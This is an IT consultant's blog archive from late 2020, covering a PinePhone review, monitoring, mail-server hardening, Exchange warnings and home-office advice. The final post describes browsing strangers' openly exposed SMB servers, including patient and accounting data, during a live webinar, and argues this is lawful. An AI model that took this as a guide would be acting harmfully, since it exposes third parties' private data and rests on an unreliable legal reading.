Welcome to my new blog series and travel report. After more than 12 years with Apple iOS, and before that already 7 years with Microsoft PocketPC devices and before that - we are already in the 90s - with Palm (my PalmV is still alive!) I finally think it’s time to move on and start a new journey.

Away from proprietary, closed systems with their wiretapping assistants¹, the uncontrolled extraction of behavioral data, the constant intrusion of a more less subtle nudgeing² and the latent threat of simply being bricked³.

I jumped on the current batch of the PinePhone⁴ and will give you an insight into my journey. In the end there will be nothing less than a system-change someday.

TLDR for the impatient

Neither the hardware or software can be consideres as consumer- or production ready. We are talking at best about an alpha version, which is not meant for normal users without advanced knowledge and a certain hacking mindset. Exactly the right thing for me!

Unlike deliberately poor fixable consumer devices⁵, a PinePhone is designed to be modular and repairable. The battery corresponds to the one used by Samsung Galaxy and can be purchased for just 10,- EUR. Modem, board and cams can be replaced separately if needed. For the first shipped batches, there are already upgradeable mainboards available with the RAM and eMMC memory of the current generation. The hard- and software are continuously developed and refined. The PinePhone is one of the few devices that boots a system directly from SDCard.

In the upcoming months I will add more blog articles to this series on an unscheduled basis depending on my available time. I would like to start off with the first impressions after unboxing the Manjaro-Community Edition⁶ with 3GB RAM, 32 GB memory and a Convergence-Package for connecting a display, mouse, keyboard and Ethernet aswell.

The Holy Unboxing

The shipment arrived within 3 days directly from within the EU. No special customs or import taxes were charged. The price was about 270,- EUR, directly ordered in the pineshop. The package is small and unimpressive and arrived simultaneously with my Multi-SIM. I will continue to use my current iOS-Smartphone in parallel.

I do not agree with Golem’s description of the removable backside of the pinphone⁷. For me as an early adopter of the iPhone, it just looks like another Android device. In fact, the hardware as a whole is rather located in the lower midfield with its Quad-Core Allwinner ARM64 Cortex-A53 CPU⁸ and its IPS display with 1440x720 pixels @ 271 ppi on 5.95 inch. Whoever comes from any current iOS Retina device will feel a certain “falloff height”.

The USB3 Convergence Dock is made of durable aluminium. The privacy DIP switches for hardware-based switching off the cameras, radios or microphone and the I2C pins⁹ add to the positive overall impression. The idea behind the implementation of the pogo pins¹⁰ is that in the near future shells can enhance the device with additional functionality.

Manjaro is just crap

The Manjaro Linux was “pre-loaded”. For all those who searched for the pin after powering on: “1234”. Having said this in advance, Manjaro is a toy and it comes with almost fatal, if not dangerous settings. To give you an example: Every device is shipped with an open SSH server. Regarding the default user and the entropy¹¹ of a PIN consisting out of numbers from 0 to 9 we don’t have to discuss any further.

The bad: It looks like a very conscious design choice. I see all those devices running all over the world with open ssh ports. That fits in the picture with the numerous pre-installed messengers.

I didn’t know Manjaro before, but I felt quite bullied constantly by pacman. However, it was good enough to play around a while and to familiarise with it. With the end-user in view, distributions like Mint, Ubuntu or Manjaro have a reason to exist. One nice thing about free hardware: Everyone is entitled to his or her own choice!

Therefore, on the same evening I decided to go to Mobian¹². Thanks to the bootable SDCard you can either boot a new image directly or copy it with dd to the internal MMC. I have never been able to push an image from A to B so fast and comfortable. But at the same time I noted for myself “Disk Encryption” on my virtual To-Do list.

Debian cannot be considered as ready

The first impression: Mobian feels “snappier”. In stark contrast to Manjaro, the conversion of the UI to the German language worked at first try.

But there are a couple of quirks and surprises in Debian aswell. Firstly I could not find the terminal. Out of desperation I already wanted to look under Software when half on the way the icon “Kings-Cross” caught my attention. I was used to a tube app when I was in London and asked myself what the heck is such an app doing on my new device? Note to the guys and gals at Debian: You got me, not funny!

I’m not sure which browser I want to use on the device in the future. The Gnome Web Browser is clearly better adapted to a mobile device than the much slower and somehow “alien” looking Firefox.

Numerous missing packages like htop, iftop, gnupg, seahorse, net-tools, openvpn, openssh were quickly installed. I think out of all Debian versions this is the one with the latest gnome without being on sid.

Since I believe nobody understood the previous sentence, there is an overview in the wiki what is not implemented yet and/or works in a limited fashion¹³. There is also a software wishlist¹⁴.

The sync with my Nextcloud and the transfer of contacts, tasks and calendar items works like a charm as usual with Gnome. I have not installed the fat Nextcloud client due to the fact that I only need my contacts and templates on the phone.

File access to my cloud also works with the normal Gnome file-manager. There is some disappointment about the Gnome Calendar App which has not been adjusted for smaller displays yet. I also need to abstain from streaming music from my Nextcloud via subsonic/ampache.

Interim conclusion after one evening

Until well after midnight I worked on my Mobian, created an extra user, SSH certificates and deactivated the SIM pin. After all, it is not a consumer device yet and far from being seriously considered as dailydriver. But the direction is right. I would strongly recommend to order the Convergence Package with it, otherwise I really would have been frustrated without it.

The basic functions are working and I am optimistic to have a working device within the next 1-2 years. Until then, I keep my iPhone in parallel operation thanks to Multi-SIM. There won’t be a new Apple device anymore.

More parts of this series will follow soon.
Have fun and stay healthy until then!

Tomas Jakobs

Example for Digital Sovereignty

Tomas Jakobs — Fri, 13 Nov 2020 10:30:30 +0100

What a pity, this is exactly the scenario I first expected for Microsoft. But I’m not really surprised that Apple is now ahead, what happened?

The ocsp.apple.com server was apparently down and/or unreachable between yesterday and today¹. Unfortunately macOS tries to reach it every time an app is opened to check if a certificate has expired² or an app has been retracted or some more magic. Of course this is not transparent, closed-source and therefore not verifiable.

The fact that an Apple device can be offline is taken into account and considered as “soft failure”. However, a failure by Apple itself seems to be quite an impossibility and is obviously not considered.

The result is an illustrative example for digital sovereignty: Now the expensive piece of aluminium can only be used as a warming plate for the cat:

By the way: Those who use a personal firewall like LitteSnitch³ or a real one like ipfire.org⁴ can continue to work normally. But no guarantee that this will work in the long run. For sure there are some time limits and undocumented features.

Xojo User Meeting 06.11.2020, 1800 LT

Tomas Jakobs — Thu, 05 Nov 2020 09:45:00 +0100

WebinarXOJOMeeting

A new XOJO User Meeting (in german) is scheduled for this November, 6th 2020 at 1800 LT.

Topics

Made with XOJO project review by Michael Eckert

maybe Arbed - not yet confirmed

Duration: 45 Min.
Followed by smalltalk/ hangout with open end, Chatham House Rule applies.

Link to Conference-room: https://meet.jakobs.systems/b/tom-kks-v5k-xka

~~The passwort will be published here and in XOJO Forum couple of hours short of the Meeting.~~

~~The passwort is: 384266~~

Everybody is welcome.

See you!

Microsoft Office in Decline

Tomas Jakobs — Tue, 03 Nov 2020 10:45:00 +0100

The Microsoft cashcow gets scratches. This is not what I write but what the FAZ writes in its today’s article: “The quasi-monopoly of Office gets scratches”¹.

Some might say the FAZ has no expertise in IT. Well aactually this could be correct, because their undisputed circle of competence is the economy. But this should make you even more concerned.

According to a representative survey by the market research company Nielsen², Microsoft’s position in its own US home market is now at only 80%, and the trend is continuing to decline. One reason for this development is that more and more people are working online and apps in a web browser are better acessible than their classic, locally installed counterparts.

Here in Germany, 1023 employees in medium-sized and large companies were surveyed who spend more than half of their total workingtime with office apps. Fun fact: One third uses Microsoft Office for formatting only, not for producing documents. The creation and formatting of charts and tables is identified as the biggest time consuming factor. You would think that this is the core feature of Excel.

I am very surprised about this figure: 71% say they need more training. In companies I rather meet persons who do not want to show any weakness and claim to have excellent office skills. Well when times are good, I ask quite subtle questions: How can I create a soft break without changing paragraphs in a Word document? How can I create automatic indexes with appropriate chapter captions in the page headers and footers?

Isn’t it kind of tragic, as a non-Microsoft person who actively worked with Windows XP and Office 2003 more than 14 years ago, I have to explain functions and usage to others? From an operational point of view, something else is even more remarkable: Every 3 years, a new Microsoft Office is bought and rolled out in networks. Quite a lot of extra time and effort for a product that has neither altered its functionality or improved its core features in the past decades.

Anyway, working with Word is so 1990s old school. Most of my texts - including this blog - are written in plain text in Markdown. Versioned with git on my own Gitea instance, free of any proprietary format and guaranteed readable in 20 years with whatever app or device.

When a person is appointed as scriptor in a business meeting, I just think formyself a) poor slob and b) nobody in this group understands digitalization. It is quite normal to me to work with several people on a document simultaneously. I practice this in my Nextcloud³ with the collaborative notes app, of course on my own server. I do this aswell in presentations and meetings on my own BBB conference server⁴, where everyone can highlight something using an own cursor on a slide. By the way nothing new as Doug Engelbart has already shown 52 years ago.⁵

Anyone who says there is no alternative to Microsoft Office is not only ignoring the trends of today but unfortunately the future of its users aswell. Sadly to say, they often have to use it without been asked before.

Best Regards
Tomas Jakobs

Combined RSS with fulltext

Tomas Jakobs — Mon, 26 Oct 2020 05:00:00 +0200

This weekend, Jochen T. contacted me with an interesting question about Hugo and the theme I am using for this blog:

I don’t understand how I can create a “normal” feed, I have searched for help, but found nothing. My feed only contains the categories “micro”, “blog” or “page”, but I would like to have a feed with the individual posts in full text (like you).

Due to the fact that others might have the same question, I answer this in the public of course after prior request and approval by Jochen.

Well, the easy way is to check Hugos’ config.toml first. Under [params.rss] and due to the fact I’m bilingual, under [languages.en.params.rss] aswell, please check if includeContent = true is set.

If not sufficient, here is my /themes/kiss-em-master/layouts/_default/index.rss.xml file for copying and pasting. Looking into my git-repo, I can say that only the loop in .Site.Pages.ByDate.Reverse has been altered to reverse order alongside with an additionally if-clause:

<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>{{ if eq .Title.Site.Title }}{{ .Site.Title }}{{ else }}{{ with .Title }}{{.}} on {{ end }}{{ .Site.Title }}{{ end }}</title>
<link>{{ .Permalink }}</link>
<description>Recent content {{ if ne .Title.Site.Title }}{{ with .Title }}in {{.}} {{ end }}{{ end }}on {{ .Site.Title }}</description>
<language>{{ .Site.Language }}</language>
<contact>{{ $.Site.Params.rss.authorEmail }}</contact>
<copyright>{{ .Site.Params.Info.Copyright | safeHTML}}</copyright>
{{ with .OutputFormats.Get "RSS" }}
{{ printf "<atom:link href=%q rel=\"self\" type=%q />" .Permalink .MediaType | safeHTML }}
{{ end }}
{{ range .Site.Pages.ByDate.Reverse }}
{{ if .Content }}
<item>
<title>{{ .Title }}</title>
<link>{{ .Permalink }}</link>
<pubDate>{{ .Date.Format "Mon, 02 Jan 2006 15:04:05 -0700" | safeHTML }}</pubDate>
<author>{{ $.Site.Params.rss.authorName }}</author>
<guid>{{ .Permalink }}</guid>
<description>{{ .Description | html }}</description>
{{ if $.Site.Params.rss.includeContent }}
<content>{{ .Content | html }}</content>
{{ end }}
</item>
{{ end }}
{{ end }}
</channel>
</rss>

Hope this is helpful, Jochen.
Wish you and everybody a good start into the new week,

Tomas Jakobs

Whitebox-Monitoring with Prometheus

Tomas Jakobs — Sun, 25 Oct 2020 12:22:00 +0200

Winter is coming! Winter time has already arrived, and soon the Corona Lockdown aswell.

Sitting at home in the warmth with a cup of tea, having a complete overview of the IT is a good feeling. The catchword here is “complete”. I don’t rely on traditional blackbox monitoring solutions¹ but rather on the whitebox solution called Prometheus².

Behind Prometheus there is no single company but an initiative of various ones. The who-is-who of the tech industry with RedHat, Amazon, Apple, ARM and many others³. Of course Prometheus comes with a free licence and is completely open-source.

Please do not be deceived by the beautiful Grafana dashboards⁴ I have made for myself. The screenshots only demonstrate how a server failure is visually displayed. This is something everyone can accomplish with any other monitoring software. What really makes Prometheus so outstanding are the graphs, vectors and time-series behind all this eye-candy.

At best the 3 states for a host or the 4 states for a service in Icinga2 are quite sufficient for alerting. For many, but not for me!

Wouldn’t it be much more smarter, not only to react to an event but also to know how it happened? Is it possible to detect and possibly prevent something proactively? Spoiler: Yes!

Prometheus can be considered as a whitebox monitoring solution that enables you to do exactly that. It works with graphs and timeseries rather than with logs or events. Basically, the values resemble counters that are plotted on a time-line. While Icinga2 actively tries to fetch its values and others run round robin, Prometheus pulls⁵ hundreds or even thousands of metrics through its HTTP requests. Surprisingly, this is done without a catch of higher load on the hosts or the network. Due to its federated design it even scales significantly better than any other centralised approach⁶.

For instance: Icinga2 pings a specific service once a minute and receives a response. However if 10 seconds before the service was blocked and 10 seconds after that, again, the world will still be fine for Icinga2 though the phones will already be ringing on the 1st level.

As a software developer I really love the multidimensional queries in Prometheus with the query language PromQL. The tagging of metrics or the integration of webhooks offers a deep insight into microservices and third party applications. The following screenshot is showing such a PromQL query against my email server mx.jakobs.systems.

All 8 data points of each 4 Cores are queried. We are talking about querying hundreds of thousands, if not millions of data points, which are answered in just 171 ms on a small Intel 2-Core NUC. No traditional, relational DBMS/PHP stack can achieve this. On the left hand side you see the results over a period of 2 days, on the right hand side you see a zoomed-in version with an accuracy of one second.

All customers with “managed” cloud-, web- or conference servers are automatically included in my monitoring. Customers under support contracts will receive a free installation from January 1st, 2021 on if they provide a suitable system (SSH access on VM or bare-metal) including integration of all bare-metal servers located within the same network segment. Of course there is a corresponding Grafana dashboard on top.

By the way: The scraping of log data should - even if possible⁷ - not be done. In general this should not be performed on any monitoring application. There are better tools for this job, for instance ElasticSearch.

Due to data protection I deliberately refrain from saving log data permanently. Most of my logs will be deleted after 24h, depends on SLA.

A treasure of powerful quotes

Tomas Jakobs — Tue, 20 Oct 2020 09:09:00 +0200

For my presentations and webinars I am always looking for good quotations. A treasure of them, I found yesterday evening in the Netflix documentary “The Social Dilemma”¹, of course in the original English version. I do not know the German translation. Some of those quotes I would like to share with you but not without first saying something about their context.

Besides the inventors of the “Like-Button”² and the “Infinite Scroll”, the documentary features numerous software developers, managers up to the highest levels of management, venture investors from Google, Twitter and Facebook, as well as a lot of scientists and civil rights activists. Shoshana Zuboff³, US economist and professor emeritus of Business Administration at Harvard Business School, is also among them. With her book “The Age of Surveillance Capitalism”⁴, she has written what is considered as the most important reference on tech industry.

The first powerful quote for reflection comes from Edward Tufte⁵, information scientist and graphic designer, who gave evidence how the use of Microsoft PowerPoint correlates with a loss of information, which was a contributing factor in NASA’s Columbia shuttle disaster⁶.

There are only two industries that call their customers ‘users’: illegal drugs and software.

Another power quote is from no other than Tim Kendall. If not him, who else could give a statement about the so-called social media. He was Director of Monetarization at Facebook for 5 years and President and Chief Business Executive at Pinterest for almost 6 years. In 2017, he was shocked to see how the technologies he created made young people addicted and depressed. Today he tries to help people from their smartphone addiction with his project Moment⁷ and invests in other projects, that promote this aswell. Tim Kendall says:

These Services are killing people and causing them killing themselves.

This quote is accompanied by scientists and doctors who talk about addictive behaviour and especially about the 150% increase in suicide rates among young girls between 7 and 15 years of age compared to the period before social media.

The following quotes are from Tristan Harris, a former and long-time Google Design Ethicist⁸:

We built a system which is biased on false information, because we’re getting more money with it.

We in the tech industry created tools used to destablize democracy, to bring the worst into society.

Clear recommendation to watch the documentation! It would be even better not to use any of those so-called social media at all. I have been practising this for several years.

P.S. Mike Kuketz shows on his website a small

RFC 8461 MTA-STA

Tomas Jakobs — Mon, 19 Oct 2020 08:00:00 +0200

This weekend I was very active in improving my own security. I have also found two neat tools for quality testing which are Hardenize¹ and DNSViz² - both added to my Micro-Blog post “Measuring website quality”.

On my own mailserver I have implemented MTA-STA according to RFC 8461³ incl. reporting. This standard is quite new (2018) and is particularly suitable for servers without DANE⁴.

However, even without DANE I believe that I have the best and most complete server by standards (DKIM, SPF, DMARC, MTA-SRA, TLS-RPT, TLS1.3) in the entire Sieger- and Sauerland.

Whoever has a better mailserver or who knows somebody else, please contact me. Of course, if you want one too, you may do this aswell ;-)

I wish you a successful kick-off into the new week!
Tomas Jakobs

Conditional Logging with Apache

Tomas Jakobs — Sun, 18 Oct 2020 12:20:00 +0200

I’ve started using Apache-Exporter¹ for monitoring and checking this weekend how useful it is and how it can be integrated into my Prometheus² monitoring enviroment. The server-status requests inevitably lead to more “background noise” in the Apache logfiles. The screenshot below clearly shows in the upper less section:

Of course the requests cannot be prevented, but you can manipulate what Apache writes in its logfiles. It’s called conditional logging and allows you to set variables with SetEnvIf³ to any regex on each request. With SetEnvIfExpr it is even possible to perform expressions⁴, for instance to check if a request comes from your inside network segments:

SetEnvIfExpr "-R '10.0.0.0/8' || -R '172.16.0.0/12' || -R '192.168.0.0/16'" isInternal

In my case I set the variable “dontlog” on all Server-Status requests and exclude it explicitly in the logging:

SetEnvIf Request_URI "^/server-status(.*)$" dontlog
CustomLog ${APACHE_LOG_DIR}/other_vhosts_access.log vhost_combined env=!dontlog

Further regex statements e.g. for certain file extensions are possible aswell but should be done with caution. Ultimately, too many exceptions tend to make a usually sharp tool for debugging less reliable.

Never trust a log unless it comes from yourself!

Working in your Homeoffice - Part III

Tomas Jakobs — Fri, 16 Oct 2020 18:50:00 +0200

The third and last part of my little blog series is all about planning and implementation. Inevitably, we come into contact with project management and other underlying factors. I keep my promise from part one and finally show a blueprint for risk assessment.

I hope you enjoy the read! As always, the following disclaimer applies: Everything without any claim to completeness and universal validitiy. Your mileage may vary!

Don’t ask your IT Departement

Where to go when it all comes down to workingplaces at home? To your IT Department?

No way! What to expect from somebody living Groundhog Day every morning, without experience beyond his own horizon? Of course, I’m aware of not making friends with such a sentence. Please let me rephrase:

Where are highly qualified, expensive software engineers, admins or IT experts allowed to play around and experiment freely on at least one weekday per week without any cost- or time-pressure and without any recognisable connection to their company?

The study “Success Criteria for Corporate Digitisation”¹ conducted by the Fraunhofer Institute for Industrial Engineering IAO has examined companies of different sectors and sizes throughout Germany:

An IT department is not a main driver of digital transformation

It only plays a role in digitisation campaigns when it comes to operational issues and only then, when…

(…) Tekkies are granted time, space and budget.

Trying things out in as many and different places as possible (…) even if some projects fail.

It is good if there is enough time for playful development without economic needs or incentives for action.

Commitment (of the Top-Managment)

No need to explain how these quotes resonate within the management. Space for free-spirits leads to snap breaths in HR and causes headaches among financial executives. Mid-level management is concerned about their influence. Quite reasonably when self-organising project teams have a say and make decisions on an equal basis. A home-based office is cutting through the a culture of presence, where colorful peacocks see their internal corporate fiefdom threatened.

Of course I am writing in stereotypes and using heuristics. But these are in line with what Sven Rimmelspacher, managing shareholder of Pickert & Partner, says in the same Fraunhofer study:²

We need more leadership than before, but fewer leaders.

He consequently speaks of abolishing mid-level management and traditional departments. At the same time, he is advocating the strengthening of cross-functional and self-organised project teams and freelance individuals without belonging to any department. There is no need for disciplinary management anymore, leadership roles are taken over by agile teams. So why hire a human resources manager when project teams do the job more efficiently, reliably and quicker?

These are the structural weak spots and unspoken underlying factors that resonate in the background when it comes to the subject of home offices. Before swimming with the sharks in unknown waters, everyone should be aware of this.

Digitisation projects usually fail along these breaking points.

Without backup of the top management, nothing will run! A weak, diffuse, half-hearted commitment, and it’s time to leave the ship.

Home Office Project Team

Small and highly powerful teams, made up of individuals on an equal level and with varying roles and representatives on the outside, the product owners³ form the ideal digital cluster⁴. Multiple teams may also work simultaneously on the same project. Not unusual in pentesting IT infrastructures with a red team as attacker and a blue team as defender. The findings are then brought together and jointly evaluated.

Furthermore, it’s important to gain input and cooperation from the outside world either occasionally or on a permanent basis as coach, mentor or project manager. Last year, for instance, I was called in by a construction company for their BIM digitalisation⁵ with Autodesk REVIT. The task was to establish and commission an infrastructure that integrates seamlessly into the existing one. This isn’t a job for vendors or any resellers. In strong contrast to bought-in solutions “off the shelf” or from the cloud, the know-how and technology remains within the company.

Unfortunately, according to the Fraunhofer study, only just over a third of companies manage this⁶. Despite the fact that agility⁷ has been taught at universities for many years.

Communication and Document Management

Let’s assume the commitment of the management and successful formation of a project team. What’s next?

It’s essential for a team to be able to communicate with each other and others, to access common data and to control documents. Without everything must be built up first. Unfortunately, many still use their computers as quite a substitute for typewriters accessing directory structures on SMB-Shares like filing cabinets. In my eyes, the typical QM/QS structured directories are a nightmare, where often files and folders have been given spaces, underscores or A, AAA or AAAAA prefixes in order to make them appear topmost in Windows Explorer.

This creates pain inside me, but simultaneously it is buggy, not flexible, not portable and bears the flaw of classic client-server architectures⁸: The last one always overwrites all previous versions. Without a version control system, no branches and forks in a course of a project can be represented. Instead of small diffs, whole file and directory structures must be transferred. This is quite toxic for every mobile workstation with a weak internet connection.

As developer I use a proven git⁹ technology. An own server is quickly set up¹⁰ with gitea¹¹ and allows easy access via web frontend even for non-software developers for non-software projects. Once agreed on Markdown¹² and UML¹³ as document formats, all problems with proprietary and binary document formats are eliminated instantly.

Though it doesn’t need to be git. The basic version control of a Nextcloud¹⁴ also works. Chats and video conferences are quite close and handy. The integration with other collaborative apps are very appealing.

Of course, tools like Mattermost¹⁵ and others are suitable for communication aswell thought they have to be free, self-hosted and without any data flow to third parties. Less is more! The Golem article “An der falschen Stelle automatisiert”¹⁶ sums everything up in just one sentence:

We destroy (…) productivity and personal comfort if we constantly try to follow trends and still fail to keep current.

Teams, Slack, Discord & Zoom are not recommended

Tools like Microsoft Teams, Slack, Discord, Zoom & more are not suitable for project management in my opinion due to the fact that:

There are serious security incidents¹⁷ and unresolved privacy issues¹⁸ However the DSGVO is not my biggest concern at all. Would anybody please explain me how to use something with a signed, penalty-based NDA where, according to EULA and Privacy Policies, the transfer and unrestricted use of data by third parties takes place?¹⁹.
Neither of the mentioned products above solve the problem of archiving or compliance. How to deal with the GoBD?²⁰ In a nutshell: Chat histories, transfered files or assets must remain retrievable for 6 or 10 years. Proprietary, non-free file formats or webservices, which are abandoned by manufacturers at their own discretion, are in stark opposition to this requirement. You are not in control of the data. A recent example of this is the management consultancy KPMG. Chat histories including files of 145,000 employees were instantly lost by a single mouse click²¹.
The business models aiming for a vendor lock-in²² with constantly rising costs. Once one leg in and the “rules of engagement” will be subtly changed over time with a lot of nudging²³. This is evident, for example, in important functions, suddenly migrated from an existing “Pro” license to a more expensive, newly created “Enterprise” license. That’s called opportunistic exploitation of information asymmetry²⁴. Greetings from George Akerlov and his downward spiral of death²⁵.

Risk-Algebra

Whatever might be dropped out at the end of a project, nothing happens without coordination with information security. This doesn’t automatically mean that an extensive risk analysis has to be conducted.

Just one example: If an employee at home is supposed to get a computer from his company which is completely isolated from the corporate network and merely retrieves mails via webmailer (with 2FA) then the common market standard is quite acceptable. Even with a thick layer of snakeoil if someone feels more secure with that. Further hardenings and an extensive risk analysis would be a waste of time. The simple rule-of-thumb is: If no danger, then there is no risk.

How is this best described and visualized? Well, quite simply by using the following calculation and a couple of auxiliary charts, which I offer here for download:

Risk = Potential damage x Probability of occurrence

Let us look at the maximum amount of damage to be expected and note the number of points achieved.

Now things become a little more tricky. We estimate the probability of occurrence. The line with the most applicable statements wins. Please note the score as well.

Now let’s multiply both numbers and compare the result to this chart.

In our example I get a value of 2, which means low risk. Applied to the following coloured risk matrix, it is immediately obvious we are in the green segment and clear.

These auxiliary tables make life easier and provide orientation in assessing risks and working out either compensatory measures or more evaluations.

Finally, a note on my own behalf:

I am available for exactly such digitalization projects and can provide all my expertise. I actually really enjoy this, either as a problem solver on a short term basis or as a coach, mentor or project manager on a longer term basis.

The new year 2021 is ahead. Please contact me well in advance for projects in the pipeline, in order to be able to start at full speed this January.

Best Regards
Tomas Jakobs

https://www.bertelsmann-stiftung.de/fileadmin/files/user_upload/Erfolgskriterien_betrieblicher_Digitalisierung.pdf ↩︎ ↩︎ ↩︎ ↩︎
Page 38, Study “Erfolgskriterien betrieblicher Digitalisierung” in ¹ ↩︎
https://en.wikipedia.org/wiki/Scrum_(software_development)#Product_owner ↩︎
Page 30ff, Study “Erfolgskriterien betrieblicher Digitalisierung” in ¹ ↩︎
https://de.wikipedia.org/wiki/Building_Information_Modeling ↩︎
Page 31, Study “Erfolgskriterien betrieblicher Digitalisierung” in ¹ ↩︎
https://de.wikipedia.org/wiki/Agilit%C3%A4t_(Management) ↩︎
https://de.wikipedia.org/wiki/Client-Server-Modell ↩︎
https://git-scm.com/ ↩︎
https://blog.jakobs.systems/blog/gitea-statt-github/ ↩︎
https://gitea.io/ ↩︎
https://de.wikipedia.org/wiki/Markdown ↩︎
https://blog.jakobs.systems/blog/gitea-uml-mermaid/ ↩︎
https://nextcloud.com ↩︎
https://mattermost.com/ ↩︎
https://golem.de/news/blabla-1906-141628.html ↩︎
https://heise.de/security/meldung/blabla-4695000.html ↩︎
https://www.datenschutz-berlin.de/fileadmin/user_upload/pdf/orientierungshilfen/2020-BlnBDI-Hinweise_Berliner_Verantwortliche_zu_Anbietern_Videokonferenz-Dienste.pdf ↩︎
http://blog.jakobs.systems/blog/20200905-privacy-shield-discord/ ↩︎
🚫 https://www.bundesfinanzministerium.de/Content/DE/Downloads/BMF_Schreiben/Weitere_Steuerthemen/Abgabenordnung/2019-11-28-GoBD.html ↩︎
https://golem.de/news/blabla-2008-150457.html ↩︎
https://en.wikipedia.org/wiki/Vendor_lock-in ↩︎
https://de.wikipedia.org/wiki/Nudge ↩︎
https://de.wikipedia.org/wiki/Asymmetrische_Information ↩︎
https://de.wikipedia.org/wiki/George_A._Akerlof ↩︎

Security, Risks, Liability and Audits

Tomas Jakobs — Tue, 13 Oct 2020 13:01:00 +0200

I need to admit: I really love writing audits. It has a certain degree of scientific working to falsify statements. So I was recently confronted with the following quote from a responsible IT manager:

We are not concerned with security, but with liability. If Microsoft promises security, this is enough for us.

Well, unfortunately I did not attend a judicial exam but when I read the Microsoft EULA¹ regarding risks and liability, I consider the circumstances slightly more differentiated:

DISCLAIMER OF WARRANTY. THE SOFTWARE IS LICENSED “AS IS.” YOU BEAR THE RISK OF USING IT. MICROSOFT GIVES NO EXPRESS WARRANTIES, GUARANTEES, OR CONDITIONS.

This limitation applies to (a) anything related to the software, services, content (including code) on third party Internet sites, or third party applications; and (b) claims for breach of contract, warranty, guarantee, or condition; strict liability, negligence, or other tort; or any other claim; in each case to the extent permitted by applicable law.

However, good luck!

P.S. Do you intend to introduce new software or to change your IT landscape?
As an independent and competent third party I am available for any type of IT audits.

Tomas Jakobs

https://docs.microsoft.com/en-us/legal/windows-server/system-insights-eula ↩︎

Webinar: Security of Conferencing Software

Tomas Jakobs — Mon, 12 Oct 2020 08:25:10 +0200

WebinarDiginetSWFSecurityConferencing Software

Within a " digital breakfast " I will give a presentation for the DigiNet Südwestfalen at

November, 3rd 2020, 08:30 am at my own Conferencing-Server
Topic: “Security of Conferencing Software”

giving Stakeholders and Decision-Makers Orientation for risk-assesment. This is a non-public event, please register via Sonja Pfaff on the DiginetSWF Website.

About DigiNet Südwestfalen:

About Tomas Jakobs:

BSI warns about Exchange

Tomas Jakobs — Thu, 08 Oct 2020 10:02:00 +0200

40.000 Companies in Germany affected

The BSI (German Federal Authority for Informationsecurity) warns with the second highest level “orange” (= the IT threat situation is mission critical. massive disruption of regular operations) in the public media¹. Around 40,000 companies in Germany alone are affected by several critical vulnerabilities because security updates have not yet been installed². In fact, Heise speaks of playing Russian roulette³.

It’s not without reason that I have been warning for several years now about interlocking internal AD and internet functions like Microsoft does deliberatly. Unfortunately many hang their Exchange server directly “in the Internet” including OWA and EAS without any firewalls, mail gateways or reverse proxies. The normal case is totally negligent: Via port forwarding!

My personal point of view:

If you still use the combination Exchange/Outlook, you can’t be helped.

Last month I wrote a rant about this in my microblog⁴ and since then I have migrated further installations⁵. A full-fledged Exchange replacement based on Linux is up and running quickly. User accounts and data usually imported within one day. A change is possible without downtime.

I will be glad to help you.
Just contact me!

Tomas Jakobs

Quote of the Day

Tomas Jakobs — Thu, 08 Oct 2020 08:10:00 +0200

Over the recent days, information leaked out how the UK authorities cope with their reported Corona figures. Due to a “technical problem”, about 16,000 Infected including 50,000 contact persons have somehow “got lost”¹. Well actually, they are using a bunch of Microsoft Excel files. Unfortunately, a spreadsheet stops working at 1,048,576 lines.

Yesterday evening I listened to “The Bunker” podcast² with the beautiful title “Orange Hawk Down - plus Dirty Data Returns” and was given the best quote so far:

The idea of using Excel for that kind of data crunching is like trying to make Toy Story 5 using Powerpoint.

Thank you Alex Andreou³ for this best quote so far.

Xojo User Meeting 09.10.2020, 1800 LT

Tomas Jakobs — Wed, 07 Oct 2020 16:20:00 +0200

WebinarXOJOMeeting

A new XOJO User Meeting (in german) is scheduled for this October, 9th 2020 at 1800 LT.

Topics

Made with XOJO project reviews

New XOJO 2020 1.2 update

Duration: 45 Min.
Followed by smalltalk/ hangout with open end, Chatham House Rule applies.

Link to Conference-room: https://meet.jakobs.systems/b/tom-kks-v5k-xka
Password: 245066

Everybody is welcome.

See you!

Another Exchange Migration to Linux

Tomas Jakobs — Wed, 07 Oct 2020 10:00:00 +0200

One more SME customer (approx. 250 users spread over several nationwide locations) is migrating away from Exchange to free and Open Source solution. With the ready-to-use installation of a new Linux mail server I have provided my very modest contribution. The rest of the user and the data transfer will be done by the customer’s own IT department.

Users can continue to work in their familiar Outlook and mobile client environment when the new EAS accounts are rolled out “side-by-side” to the existing onces. From one second to another, the switch can be carried out without hassle or downtime just by reconfiguring the reverse proxy and the mail gateway. Time-consuming, cost-intensive and above all “hard” migration paths are no longer necessary.

However, the best thing is: No more Exchange black box, no vendor lock-in¹ and no subscription traps, as Microsoft announced recently².

Anyone who doesn’t want to become digitally dependent should opt for free solutions. I would be happy to assist you with your migration.

Just get in touch!
Tomas Jakobs

Hacking - where are the limits?

Tomas Jakobs — Mon, 05 Oct 2020 20:00:00 +0200

In the previous webinar on IT risk assessment and information security, participants questioned me during the 15-minute live hacking session: Is this not illegal?

We took a closer peek at the servers of an ambulant care unit and two other businesses. I found them by chance from a total of 28 million hosts¹ across Germany using specific search terms. The search lasted just a few seconds and after that we browsed through the numerous directories with patient data and medical prescriptions.

In the second example, we had the accounting data of a company in the form of data backups of the last 5 years straight in front of us. In addition, we were able to see private .PFX certificates for the Elster software and also recent invoices with the recipient’s company names in the filenames. And in between we saw the written correspondence with the employees of the company. With best regards to the GDPR! Let’s take a look to the so-called hacking-paragraph² “Spying out data” in detail:

Anyone who gains unauthorised access to data which is not intended for him or herself or to another person and which is specially protected against unauthorised access, while overcoming the access protection, will be sentenced to up to three years of imprisonment or a fine.

Well from a formal point of view, I have not even been close to hacking. The servers have been freely accessible to everyone without any authentication. In the analogue world we stood in the opened front door and took a peek inside the house, carefully keeping our feets outside.

Interestingly, the attempt to spy on data itself is not a criminal offence. Even an unsuccessful attempt at virtual intrusion remains without consequences, even if it is practised on a large scale. But only as long no server is affected in its function³.

Why do you not inform the owner of the hosts?

Actually I count more than 64,000 computers in Germany having an open SMB port. More than 7,000 of them are without authentication⁴. If the owner is not detectable by servername or WHOIS-record, he remains unknown. I would have to figure him or her out from the data. But this is neither my job nor being paid. Simultaneously I would make myself liable and could be prosecuted as the messenger of the bad news. Kill the Messenger!

